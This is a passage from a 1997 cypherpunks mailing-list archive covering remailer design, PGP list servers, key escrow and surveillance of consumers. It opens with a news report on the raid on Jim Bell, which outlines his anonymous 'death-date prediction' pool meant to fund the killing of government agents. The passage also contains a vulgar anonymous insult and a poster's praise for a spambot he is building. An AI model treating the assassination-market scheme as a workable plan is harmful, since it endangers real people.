chatting with agents outside the house after agents entered the home. The raid reportedly was planned by the IRS Inspection office in Walnut Creek, Calif., which does criminal investigations for the agency. Most of the agents at the scene drove cars bearing Oregon plates. Others had plates from Washington, California and Nevada. The Internet essay speculates on a complicated procedure to kill government agents who violate the "Non-Aggression Principle," which was not explained. The essay suggests creation of an organization that would manage a list of people who "had seriously violated the NAP, but who would not see justice in our courts due to the fact that their actions were done at the behest of the government." The essay mentions the federal agents involved in the Waco and Ruby Ridge actions as examples. Each name would have a dollar figure attached to it. That amount- received as contributions-would be awarded "for correctly `predicting' the person's death, presumably naming the exact date," the essay says. "Predictions" would go into a computer file, it says, then be encrypted. The death-date prediction then would be delivered to the organization by an untraceable method, such as putting it on a floppy computer disk in code and mailing it. In effect, the source said, when the pool got big enough someone would kill the targeted person and collect the pool money by telling beforehand when the target would die. Agents at the scene refused to comment on the probable cause for the search warrant, as did the IRS office in California and the U.S. attorney's office in Seattle. However, a source familiar with the investigation suggested that IRS agents believed they are among the potential targets. In March 1989, the house was raided as a suspected methamphetamine lab, but drug agents found only a chemical used in making the drug. James Bell was charged with manufacturing illicit drugs and possessing phenyl acetic acid with intent to manufacture methamphetamine. The felonies were later dismissed, and Bell was allowed to plead guilty to a misdemeanor and pay a $2,500 fine. From mixmaster at remail.obscura.com Wed Apr 2 18:46:41 1997 From: mixmaster at remail.obscura.com (Mix) Date: Wed, 2 Apr 1997 18:46:41 -0800 (PST) Subject: No Subject Message-ID: <199704022348.PAA25245@sirius.infonex.com> May Tim `C' May's forgeries get stuck up his ass so he'll have to shit through his filthy mouth for the rest of its miserable life. o/ Tim `C' May <| / > From bubba at dev.null Wed Apr 2 20:01:09 1997 From: bubba at dev.null (Bubba Rom Dos) Date: Wed, 2 Apr 1997 20:01:09 -0800 (PST) Subject: WebWorld 24 Message-ID: <33432BA0.3EF6@dev.null> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 13925 bytes Desc: not available URL: From real at freenet.edmonton.ab.ca Wed Apr 2 20:19:29 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Wed, 2 Apr 1997 20:19:29 -0800 (PST) Subject: your mail In-Reply-To: <199704022348.PAA25245@sirius.infonex.com> Message-ID: I think Vulis needs each of us to send ten copies of this back to him. On Wed, 2 Apr 1997, Mix wrote: > May Tim `C' May's forgeries get stuck up his > ass so he'll have to shit through his filthy > mouth for the rest of its miserable life. > > o/ Tim `C' May > <| > / > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From frantz at netcom.com Wed Apr 2 20:43:31 1997 From: frantz at netcom.com (Bill Frantz) Date: Wed, 2 Apr 1997 20:43:31 -0800 (PST) Subject: Analysis of proposed UK ban on use of non-escrowed crypto. In-Reply-To: <19970402000825.61388@bywater.songbird.com> Message-ID: At 5:43 PM -0800 4/2/97, Timothy C. May wrote: >However, key recovery need have no "hooks" by government into it. The >attempt by the government to ensure secret access, without even so much as >a search warrant, is revealing. This issue is to me key. If the government wants any creditability on the GAK issue, it will include in any GAK system, a provision for independent auditing, after the fact, of intercepts. (BTW - I will still oppose GAK, but some of my best arguments will be taken away.) It seems to me that once you swollen the idea that government has, under any circumstances, a right to read your mail, there are two issues. (1) Is the proscribed procedure fair? (2) Did the government follow the procedure? (My opposition to GAK is based on my belief that there are no star chamber proceedings which are fair. The ability to confront the witnesses against you and compel witnesses to testify for you are key here.) However, auditing only addresses the second issue. There are many problems with auditing the government's use of its access. One key one is, who is the auditor? At CFP97, I suggested that the press would make a good auditor. If the KRAP agency is truly at arms length from the government*, then a report of the keys released compared with records that the procedures were followed, would allow anyone, the press included, to check that the government followed the procedures. Now, I frequently think that the press is in bed with the government, so I am looking for a better auditor. Some institution which values its reputation more than it values its relationship with the government would do. Anyone have any good candidates? * Assuring this arms length relationship is an exercise for the student. (I give it a Knuth grade of 50.) ------------------------------------------------------------------------- Bill Frantz | I have taken a real job at | Periwinkle -- Consulting (408)356-8506 | Electric Communities as a | 16345 Englewood Ave. frantz at netcom.com | capability security guru. | Los Gatos, CA 95032, USA From dlv at bwalk.dm.com Wed Apr 2 21:32:55 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 2 Apr 1997 21:32:55 -0800 (PST) Subject: remailer spam throttle In-Reply-To: <859734501.0628582.0@fatmans.demon.co.uk> Message-ID: I'm a bit behind on my e-mail again... paul at fatmans.demon.co.uk writes: > > > > Well, they can compile the list of addresses off of USENET postings and > > > > such and then compute the hashes of the compiled names and identify > > > > those that are on the anon acceptance list. Not that it completely > > > > invalidates the idea, but certainly it is a problem. > > > > If a time delay isn`t a problem a remailer could operate on the list > > with a MAC, if someone wants to find out if a name is on the list > > they submit a request to the remailer operator who daily executes a > > batch job using a (memorised) key to verify the hashes against one > > another. > > Another idea I just had. > > Alice`s remailer recieves a message for Bob. > > The remailer blinds the message with the prime p, sends bob the > blinded message, a product pq and a random number, x, all the remailer > keeps is q and x. Bob, to retrieve the message as cleartext sends the > remailer x and a request in return the remailer sends bob q, bob > divides pq by q to get p and unblinds the message... Any comments? This is cute, but if Bob has enough clue to do this, then Bob can probably handle anonymous e-mail whose content he doesn't like... --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Apr 2 21:32:59 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 2 Apr 1997 21:32:59 -0800 (PST) Subject: Spam a *GOOD* thing for remailers? In-Reply-To: <199703301243.MAA23817@mailhub.amaranth.com> Message-ID: "William H. Geiger III" writes: > I know there has been much talk on how to limit the use of remailers by > spamers. I wonder if this is the correct approach to take on this. > > Spam could provide the perfect "cover" for anonymous messages. If you have > a SPAM mailer pumping out 500,000 messages a day one could hide 10-20,000 > anonymous messages without anyone ever noticing. > > I just don't see how SPAM is ever going to be stoped, too much $$$ > involved. I do think that we can take advantage of the SPAM. Using $$$ from > the spamers we could set up a world wide remailer network. In addition to > this the volume of spam going through these remailers would provide the > perfect cover for anonymous messages. I think if properly set-up it would > make traffic analysis next to impossible. > > Also by working with the spamers we could modify some of their behaviors. > An example would be on certian remailers would allow spam. Other remailers > would be "off-limits" to the spamers though we would syphon off a % of the > traffic from the spam remailer and run them through the non-spam remailers > to be used as cover for the non-spam messages. We would also put non-spam > messages through the spam remailers. > > With this approach I can see us having 1,000's of remailers rather than the > 10 or 20 that are currently running now. I defend the spammer's freedom to spam because spam is speech. Technology solutions to make is easier for the weak-minded to ignore spam and not to be bothered by it would be cool. Hopefully when I finish the spambot, it'll change the face of Usenet forever. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Apr 2 21:33:02 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 2 Apr 1997 21:33:02 -0800 (PST) Subject: hi-tech ROT-13 In-Reply-To: <3.0.1.32.19970401232907.00634778@popd.ix.netcom.com> Message-ID: <9Hkk5D37w165w@bwalk.dm.com> Bill Stewart writes: > At 05:37 PM 4/1/97 -0500, Andy Dustman wrote: > >consider this a compromise between normal blocking (deliver unless told > >otherwise) and middleman (get someone else to deliver it), which I would > >sum up as: Ask permission before delivering the first time, and once > >granted, deliver until told otherwise. > > An alternative approach is > - ask before delivering _every_ time, unless > - accept deliver-without-asking-again responses to cookies. > This leaves the recipient the middle ground of > granting permission for one message without granting it for all future > messages, which is probably good for people unfamiliar with remailers. > (Also, the permission-once == permission-always model doesn't stop > spamming - a spammer can send a whole bunch of messages to the recipient, > and if the recipient's response to the first "You have anon-mail" cookie is > "That's interesting, let's see what it is", they get all the spam.) I got a 60MB mailbomb the other day which didn't bother me a least bit. That wasn't done via the remailers; it came via worldnet.att.net's open smtp server. The initial form letter asking for permission should warn about the possibility of their getting a large amount of crap. However it's just as easy to get a throwaway account and mailbomb someone via that. I say: discard (don't keep) e-mail for folks who haven't explicitly unblocked themselves; treat "unblock" as "unblock everything and face the consequences". Letting the user impose some sort of constraint on the size of the e-mail being remailed is actually a dumb idea: * any half-decent mail handler should do it on the user's side * they can be mailbomed by a 1000 little messages --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Apr 2 21:33:05 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 2 Apr 1997 21:33:05 -0800 (PST) Subject: remailer spam throttle In-Reply-To: <199703301545.QAA03183@server.test.net> Message-ID: (I'm behing in responding to e-mail) > > 4. What if the LEA's decide to find out how K, L are generated? > > Random pool like PGP, it's one way and the pool has more bits than the > key material the Feds have anyway. /dev/urandom is nice. Not sure how LEA's work in the U.K., but here in the U.S. they just might be interested in figruing out the state of the machine when /dev/whatever was read. Besides, someone might just use the lc rand in the C library and init it with srand(time(NULL)*pid()) - making it worth the while to figure out what the pid might be like. (Wasn't that the basis of one of thw early attacks on Netscape?) I say, eschew any protocol that involves generating a pesudo-radom key, and then discarding it. What if the LEAs want to examine your hard disk to see how thoroughly it's been discarded? > > It may be hard to prove a negative to a LEO who doesn't know what > > the hell you're talking about. You have a file in your spool that > > was encrypted with a key that your program generated, but now you > > no longer have the key? Well, tell us how the key was generated. > > I think you're arguing for your discard all policy :-) Yes. You don't have your own domain, so you can't possibly imagine the kind of idiots that have been getting on the 'net in the last few years. By the way: if Alice sends Carol an e-mail via Bob's remailer, and Bob's remailer uses a third party database to see if Carol accepts e-mail (such as a key server) then Alice can determine whether Carol accepts anonymous e-mail. Say, Carol is a journalist and Alice is a whistleblower. Alice first sends a ping, which causes Bob's remailer to send Carol a form letter explaining how to unblock herself. Alice checks the database until (hopefully) she sees that Carol accepts e-mail, then she sends her whatever. > btw if you're interested to fix the keyserver so that it requires an > ack to a ping with a nonce, someone at MIT has a fast PGP key database > / web key server which isn't using PGPs linear lookup. You can find a > link to it from Brian LaMachia's keyserver page. > > Another snazzy thing to do to the keyserver would be to have it obtain > a timestamp signature on your key (from a third party time stamping > service, of which there are several) and include that too. Sigh - I wish. I'm behind on a bunch of projects, including the great spambot. Thanks for the info anyway. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Apr 2 21:33:07 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 2 Apr 1997 21:33:07 -0800 (PST) Subject: remailer spam throttle In-Reply-To: <3.0.1.32.19970331225622.00633a98@popd.ix.netcom.com> Message-ID: Bill Stewart writes: > At 06:46 PM 3/28/97 EST, Dimitri wrote: > >That's a good idea, but it'll take up a lot of disk space at the > >machine running the remailer. Right now, remailers that provide > >latency don't keep an e-mail for more than about 12 hours. Once > >you start keeping them around for a few days (a reasonable grace > >period for a first-time user), it's a lot more disk space. > > Typical remailers carry maybe 100-500 messages/day; > typical messages run 1-20KB unless they're pictures or warez. > (Yes, I'm making these numbers up....) Let them send pictures and warez. A remailer operator shoudn't care. :-) > >IMO, the 'net has changed from what it used to be a few years ago. > >One can no longer send e-mail to an unknown recipient and hope that > >they're willing to accept anonymous e-mail. > I'd agree, but from the first anonymous remailers open to the public > there were people who didn't like receiving anonymous mail :-) Well... Let me quote the complaint that Jim Ray (himself a one-time remailer operator) sent to postmaster at dm.com because he didn't like the anonymous messages that he thought might be coming from me: ]Received: from miafl2-16.gate.net (miafl2-16.gate.net [199.227.2.143]) by osceola.gate.net (8.7.6/8.6.12) with SMTP id HAA187758; Wed, 16 Oct 1996 07:13:05 -0400 ]Date: Wed, 16 Oct 1996 07:13:05 -0400 ]Message-Id: <199610161113.HAA187758 at osceola.gate.net> ]From: Jim Ray ]To: root at bwalk.dm.com, postmaster at bwalk.dm.com ]X-Priority: Normal ]Subject: Dr.Dimitri Vulis KOTM ]X-Mailer: Pronto Secure [Ver 1.10] ]X-Prontosecureinfo: T=signed, P=x-pgp ] ]-----BEGIN PGP SIGNED MESSAGE----- ] ]Mime-Version: 1.0 ]Content-Type: text/plain ]Content-Transfer-Encoding: 7bit ] ]To: root at bwalk.dm.com, postmaster at bwalk.dm.com ]Date: Wed Oct 16 07:10:45 1996 ]Can you folks somehow get Dr.Dimitri Vulis KOTM to quit ]sending anonymous messages to cypherpunks? I have killfiled him, but he ]sends things with subject headers like "RSA" through the anonymous remailers ]and it is impossible to killfile them and still get interesting anonymous ]messages. ] ]He is evidently angry at another subscriber, Tim May, for showing the list ]how much of a fool he was regarding economics in the past, but now he shows ]how much of a fool he is. Below is an example, the subject was RSA, and it ]could only have come from him, I assure you. [BTW, this is not a threat of ]legal action on my part against you, it's just that you are lowering your ]reputations by letting him continue spewing garbage, and now that even ]killfiling him hasn't worked, I am trying to convince you to talk to him and ]encourage him to please take his lithium regularly.] ]JMR ] ]- -----Begin Included Message ----- ] ]Date: Tue, 15 Oct 1996 15:35:04 -0400 (EDT) ] From: amnesia at chardos.connix.com (Anonymous) ]To: cypherpunks at toad.com ]Cc: ] ]Timmy C. Mayflower was born when his mother was on the ]toilet. ] ] ] ]- ---- End of forwarded message ---- ]One of the "legitimate concerns of law enforcement" seems to be ]that I was born innocent until proven guilty and not the other ]way around. -- me ] ]Defeat the Duopoly! Vote Harry & Jo http://www.HarryBrowne96.org/ ]___________________________________________________________________ ]PGP id.E9BD6D35 51 5D A2 C3 92 2C 56 BE 53 2D 9C A1 B3 50 C9 C8 ]I will generate a new (and bigger) PGP key-pair on election night. ] http://www.shopmiami.com/prs/jimray ]___________________________________________________________________ ] ]-----BEGIN PGP SIGNATURE----- ]Version: 2.6.2 ] ]iQCVAwUBMmTCum1lp8bpvW01AQHAugP/e/GTay0y778Ziy3JbWCGBb+tRxM8Q1Zi ]Z3aIP97hNYYoD7QKi9yP1gS3ZRbg/9ZXJonWTi+zmZ7yUjmWndczmXJ2IAC+Rgpx ]7MQmrhjU4htmiMCuawNmVLZRNZMl/+kNnX15taA8GdXTcuPXUsGN0y39oMbbqT5g ]do3B4yicgrY= ]=iix/ ]-----END PGP SIGNATURE----- Say, didn't this Mmmmm... Black Unicorn shmuck threaten to sue me for saying someone's on lithium?? :-) > >unless the remailer knows that the recipient took some positive > >action to indicate that s/he has a clue (such as, added a key to a > >keyserver), their anon mail should be immediately discarded and > >they should instead get a note: > > That's an interesting approach - a bit extreme, but the main cypherpunks > applications for anonymous remailers are things like whistleblowing > (which can be posted to the net or emailed to people like Foo Inspectors > who _ought_ to be willing to accept anonymous mail) and potential > co-conspirators (who _ought_ to be willing to accept it if they're > interested in co-conspiring), and of course yourself under various aliases. If the maintenance of destination blocking/unblocking is divorced from the remailer operators, then the whistleblower might be able to find out whether the recipient accepts anon e-mail. Under the scheme I sort of proposed, if I wanted to e-mail X, I might look up via the key servers whether X accepts anon e-mail. If he doesn't, I ping him, knowing that my ping will be discarded and instead he'll get a form letter telling him how to enable receipt. I can check (say) the key servers a few days later and see if he's ready to recieve anon e-mail; then I send the real message. Another advantage: there's no need to put the remailer's real address in the form line. Right now most operators say something like "e-mail foo at bar and/or remailer-operators to be dest-blocked". Under the scheme I'm not quite proposing yet, you can put any junk in the from: (it's irrelevant!) and put the instructions for dest-blocking via a 3rd party in a comment header. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From harka at nycmetro.com Wed Apr 2 21:43:37 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Wed, 2 Apr 1997 21:43:37 -0800 (PST) Subject: PGP-Domo... Message-ID: -----BEGIN PGP SIGNED MESSAGE----- On another mailing-list, there has been a lengthy discussion going on about encrypting the list-traffic or not. Although I personally agree, that encrypting a public mailing list is kind of useless I would like to know from a technical perspective if PGPdomo supports _both_ PGP and plain-text simultaneously on the same mailing list (if no public key available, send plain-text, otherwise encrypt). Also, considering the time it takes to encrypt/sign a message for each individual user (assuming they use pgp), isn't that too much overhead for the list-server, when we deal with a few hundred people and maybe traffic like on cypherpunks? Any experiences from PGP-Domo users/admins would be greatly appreciated. Ciao Harka /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */ /* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ ... Microsoft - "Where do you want to crash today?" ___ Blue Wave/386 v2.30 [NR] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBM0NCbTltEBIEF0MBAQFasAf+ODKv3pX/bCZy66coA9SCGaB2BUgWEPfv n42WokKZY9HY/WrRLJ4vTtbiJs+p7i9vJA37VUy7I/vAZJ5fFQOHYCWS9g8Mpxtn kOmDoIj7grfNXDEgYa91+Shv5xEJXo62bGnW+YlX7TNeb3buQj2H91ova4Jk3oci sBKFSRLf5EDtOjBOBXcxy1V232k2wLoefSvVORWmjHtEyzCdstenCv4jjEf5LF+E uIzBr7+MmzJPK49lM17izHTpBv/LALBvyD2lq1IfJl0psnfbFtL2SMJeOAVdkQe/ Hqn8qeNHpLwuvPTO/QZP85aMRnHCNVVJaeHJpLJnX3pMVrLjCOGC3g== =7xD4 -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... From whgiii at amaranth.com Wed Apr 2 22:33:03 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Wed, 2 Apr 1997 22:33:03 -0800 (PST) Subject: PGP-Domo... In-Reply-To: Message-ID: <199704030045.AAA16111@mailhub.amaranth.com> In , on 04/02/97 at 11:48 PM, harka at nycmetro.com said: >On another mailing-list, there has been a lengthy discussion going on >about encrypting the list-traffic or not. >Although I personally agree, that encrypting a public mailing list is kind >of useless I would like to know from a technical >perspective if PGPdomo supports _both_ PGP and plain-text >simultaneously on the same mailing list (if no public key >available, send plain-text, otherwise encrypt). >Also, considering the time it takes to encrypt/sign a message for each >individual user (assuming they use pgp), isn't that too much overhead for >the list-server, when we deal with a few hundred people and maybe traffic >like on cypherpunks? >Any experiences from PGP-Domo users/admins would be greatly >appreciated. I haven't used PGP-Domo but I have run a PGP mailing list using my own software for OS/2. You can cut down on some of the overhead by encrypting the message with multiple keys but this increases messages size. If you have a large # of subscribers you may wish to break up your encryption into blocks, say 25 keys per message. I think it will depend on your system on how may subscribers & messages you could handle on a daily basis. Say a user base of 1000 subscribers with 100 messages/day that's 100,000 encryptions per day. While I think this would be doable on a PC you would have some serrious lag. For a large subscription base I would go to a digest format. This would cut down those 100 messages to say 5-10 digests. This would get you to 5-10,000 encryptions which would be much more doable. On the mailing list that I am running I only have 4-5 messages a day with a user base of ~130 so volume has not been a problem. :) -- ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info ----------------------------------------------------------- From die at pig.die.com Wed Apr 2 22:36:28 1997 From: die at pig.die.com (Dave Emery) Date: Wed, 2 Apr 1997 22:36:28 -0800 (PST) Subject: BIG BROTHER (qoute without comment) Message-ID: <199704030636.BAA12147@pig.die.com> ----- Forwarded message from A.Fullerton ----- anonymous wrote: I've got a little story I'd like to tell. There's been a thread in the scanner newsgroups lately about Radio Shack giving their sales lists to the FBI. Now, I KNOW a lot of baloney circulates through the newsgroups. This particular thread is said to have started with the Richard Jewell Atlanta bombing case when the FBI investigated electronics parts purchases at Radio Shack. And, I don't break the law with my scanner, so I don't care who knows that I have one. But let me tell a story that happened about a month ago. I got up very early one morning and turned on my scanner and heard the police that serve the warrants ("We like to pick up everyone before breakfast" is a quote from a local warrant server). The dispatcher said that the FBI had located a friend of mine who was staying in a local Motel 6 and that there was a warrant for his arrest. He was picked up (it was a mistake) and when he asked how they knew he was there, they told him that Motel 6 gives their guest list to the FBI every day. I could not belive this! I told him that there was any number of ways that they could have found him. But about a week ago, I heard one of the warrant servers say something about Motel 6 and their FBI arrangement. I am absolutely appalled that this goes on. I don't appreciate the fact that if I stay at any motel, that an FBI agent might view my name on a guest list. It's nobody's business where I sleep (or buy a battery from an ill-informed salesman). Whew........I feel better. Thanks for allowing me to rant. I posted a similar post to the thread in the newsgroup (anonymously) so escuse me if you've already read this. Thanks, Andy Fullerton ----- End of forwarded message from A.Fullerton ----- From billstewart at mail.att.net Wed Apr 2 22:57:07 1997 From: billstewart at mail.att.net (Bill Stewart) Date: Wed, 2 Apr 1997 22:57:07 -0800 (PST) Subject: Quantum Computers Message-ID: <3343549D.4379@mail.att.net> http://www.unitedmedia.com/comics/dilbert/archive/dilbert970322.html From whgiii at amaranth.com Thu Apr 3 01:01:13 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Thu, 3 Apr 1997 01:01:13 -0800 (PST) Subject: q.N2 In-Reply-To: <3342CF22.6181@mexred.net.mx> Message-ID: <199704030313.DAA17299@mailhub.amaranth.com> In <3342CF22.6181 at mexred.net.mx>, on 04/02/97 at 03:26 PM, nadeshda at mexred.net.mx (nadeshda vargas stepanenko) said: > To whom it may concern: > Thank you for answering my mail, it was very useful for me, but at the >end you asked me why do I think legislation would be needed? > I have several opinions: > In one part I think that it is not necessary to legislate, because as >you said you have to protect your privacy from the gobernent, I m agree >of that, but I have other situations: > I m going to give you some examples: Well these are some of the straw-men that get pulled out whenever the Government wishes to clamp down on the rights & freedoms of it's citizens. Whenever you here the buzz-phrases: "save the children" this means "take away more of your rights" & "terrorist" means "anyone opposed to the policies of the current administration". -- Translations form the "George Orwell NewSpeak Dictionary published 1984." > 1) I heard about several cases about individuals who use the Internet >to attract children who are then raped and murdered, kidnapped and sold >on the black market, many of these pediophiles work out in open in >complete anonimaty, due to the structure of the Internet and many >service providers. The overwhelming cases of child abuse including pediophilia are not done by strangers but by members of the childs family or those close to the family; freinds, daycare workers, neighbors, cleargy, ...ect. Those with close contact to the child on a regular basis. Any regulation on the Internet would do nothing to prevent this. It would be just as easy to lure a child by using the Postal system but you don't see anyone demanding that all letters be written on postcards to they can be read. > 2) And what about the terroists who use the Internet to comunicate with >each other, gather information and funding establish methods, >investigate methods of terrorism (how to make a bomb in your house using >abono and household chemicals. This is an area that should be strongly >controlled, but the question is how do you do it without restricting the >rights of the average citizen? I can see no way of regulating such information. The basic information required to make all kinds of nasty bombs & chemicals are taught in High School chemistry classes. I guess we could ban all science and go back to living in caves but that doen't see very practical now does it? " Those who would trade freedom for security deserve neither." -- Benjamin Franklin. " When a government spends most of it's time and energy protecting itself from it's own people it is doomed to fail" -- William H. Geiger III -- ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info ----------------------------------------------------------- From jya at pipeline.com Thu Apr 3 03:43:40 1997 From: jya at pipeline.com (John Young) Date: Thu, 3 Apr 1997 03:43:40 -0800 (PST) Subject: Raid on Jim Bell story may actually be real.... Message-ID: <1.5.4.32.19970403113524.006d0308@pop.pipeline.com> I spoke with Jim Bell last night at his home in Vancouver, WA, and he confirmed the story. He has not been arrested but his equipment has been confiscated. No e-mail possible until he gets access to other machinery. He says he's surprised that it has taken so long for Sam to respond. He can be reached at 1-360-696-3911 Now this assumes that the person I spoke to is Jim Bell and not the USG in AP clothing, and that the entire AP gambit is not a sting. From jya at pipeline.com Thu Apr 3 04:13:02 1997 From: jya at pipeline.com (John Young) Date: Thu, 3 Apr 1997 04:13:02 -0800 (PST) Subject: Crypto Sabots Message-ID: <1.5.4.32.19970403120449.0074a6f4@pop.pipeline.com> American Banker, April 2, 1997: Consortium Formed For Data Security Carlisle, Pa.: The data encryption community has a new advocacy group: the Cryptography Products Consortium. Organized under the auspices of the National Computer Security Association, the consortium said it aims to "foster interoperability and transparency of cryptography products" and define and advance the common goals" of vendors and system integrators. The charter members are many of the companies active in data security as it relates to electronic banking and commerce. They include the smart card manufacturers Gemplus and Schlumberger as well as BBN Corp., Cylink Corp., Pretty Good Privacy Inc., Rainbow Technologies Inc., RSA Data Security Inc., Sterling Commerce, Trust Information Systems Inc., and V-One Corp. ----- From dlv at bwalk.dm.com Thu Apr 3 05:46:07 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 3 Apr 1997 05:46:07 -0800 (PST) Subject: Raid on Jim Bell story may actually be real.... In-Reply-To: <1.5.4.32.19970403113524.006d0308@pop.pipeline.com> Message-ID: <4k7k5D40w165w@bwalk.dm.com> John Young writes: > I spoke with Jim Bell last night at his home in Vancouver, WA, > and he confirmed the story. > > He has not been arrested but his equipment has been > confiscated. No e-mail possible until he gets access to > other machinery. Anybody wants to donate Jim Bell an old PC?? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Thu Apr 3 05:46:09 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 3 Apr 1997 05:46:09 -0800 (PST) Subject: PGP-Domo... In-Reply-To: Message-ID: harka at nycmetro.com writes: > On another mailing-list, there has been a lengthy discussion going > on about encrypting the list-traffic or not. > Although I personally agree, that encrypting a public mailing list > is kind of useless I would like to know from a technical > perspective if PGPdomo supports _both_ PGP and plain-text > simultaneously on the same mailing list (if no public key > available, send plain-text, otherwise encrypt). > Also, considering the time it takes to encrypt/sign a message for > each individual user (assuming they use pgp), isn't that too much > overhead for the list-server, when we deal with a few hundred > people and maybe traffic like on cypherpunks? It depends a lot on the traffic. If it's 100 messages a day, then it's a few hundred times the traffic on a list with a couple of messages a week. It also depends on the kind of box you're running it on (386? Sparc 20?). So, if I were looking to cut down on the CPU time required and the traffic, I'd do this: 1. ecnrypt with the keys of every recipient to send out one encrypted messages that every recipient can decrypt. 2. consider using a daily digest (or digest every few hours). Anyway, if you have more than a dozen people on the mailing list whom you don't know personally, you should *assume* that at least one of them is a narc and/or an asshole who'll decrypt it and pass it on to others. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Thu Apr 3 05:46:23 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 3 Apr 1997 05:46:23 -0800 (PST) Subject: BIG BROTHER (qoute without comment) In-Reply-To: <199704030636.BAA12147@pig.die.com> Message-ID: Dave Emery writes: > There's been a thread in the scanner newsgroups lately about Radio > Shack > giving their sales lists to the FBI. Now, I KNOW a lot of baloney > circulates through the newsgroups. This particular thread is said to > have started with the Richard Jewell Atlanta bombing case when the FBI > investigated electronics parts purchases at Radio Shack. And, I don't > break the law with my scanner, so I don't care who knows that I have > one. But let me tell a story that happened about a month ago. > I got up very early one morning and turned on my scanner and heard the > police that serve the warrants ("We like to pick up everyone before > breakfast" is a quote from a local warrant server). The dispatcher said > that the FBI had located a friend of mine who was staying in a local > Motel 6 and that there was a warrant for his arrest. He was picked up > (it was a mistake) and when he asked how they knew he was there, they > told him that Motel 6 gives their guest list to the FBI every day. I > could not belive this! I told him that there was any number of ways > that > they could have found him. But about a week ago, I heard one of the > warrant servers say something about Motel 6 and their FBI arrangement. > I > am absolutely appalled that this goes on. I don't appreciate the fact > that if I stay at any motel, that an FBI agent might view my name on a > guest list. > It's nobody's business where I sleep (or buy a battery from an > ill-informed salesman). > Whew........I feel better. > Thanks for allowing me to rant. > I posted a similar post to the thread in the newsgroup (anonymously) so > escuse me if you've already read this. A couple of related items (neither one quite crypto-relevant). I used to work with a guy (who no longer lives in the U.S. - lucky him :-) who has a company building high-end custom electronic gear. (I used to hack up the device drivers and other software for his hardware.) He used to get regular visits from the LEAs asking for the lists of people who bought certain kinds of eq from him. In particular, anyone who bought eq capable of writing magentic strips on credit cards was immediately closely scrutinized... Note that he didn't come to them - they came to him. I also used to work in the publishing industry (one good thing about consulting is that you learn a lot about different industries :-) and I have little doubt that the FBI does take a look at people who buy mail-order books from outfits like Aegean Press and Loompanics. In New York City, the police regularly collect high school yearbooks and add students' photographs to the collections they show crime victims, hoping they'll identify a suspect. This year one of the city's newspapers published a memo from the police commissioner ordering cop to collect yearbooks from each school. As the result *some* school principals are announcing that they won't turn their yearbooks over to the cops unless one of their students is a suspect in a concrete crime (and that's probably the case in almost every school, causing every other student's picture to go to NYPD; and in a few schools where there are no suspects, they'll be able to get the yearbooks from the students.) --- Dr.Dimitri Vulis KOTM Brighton 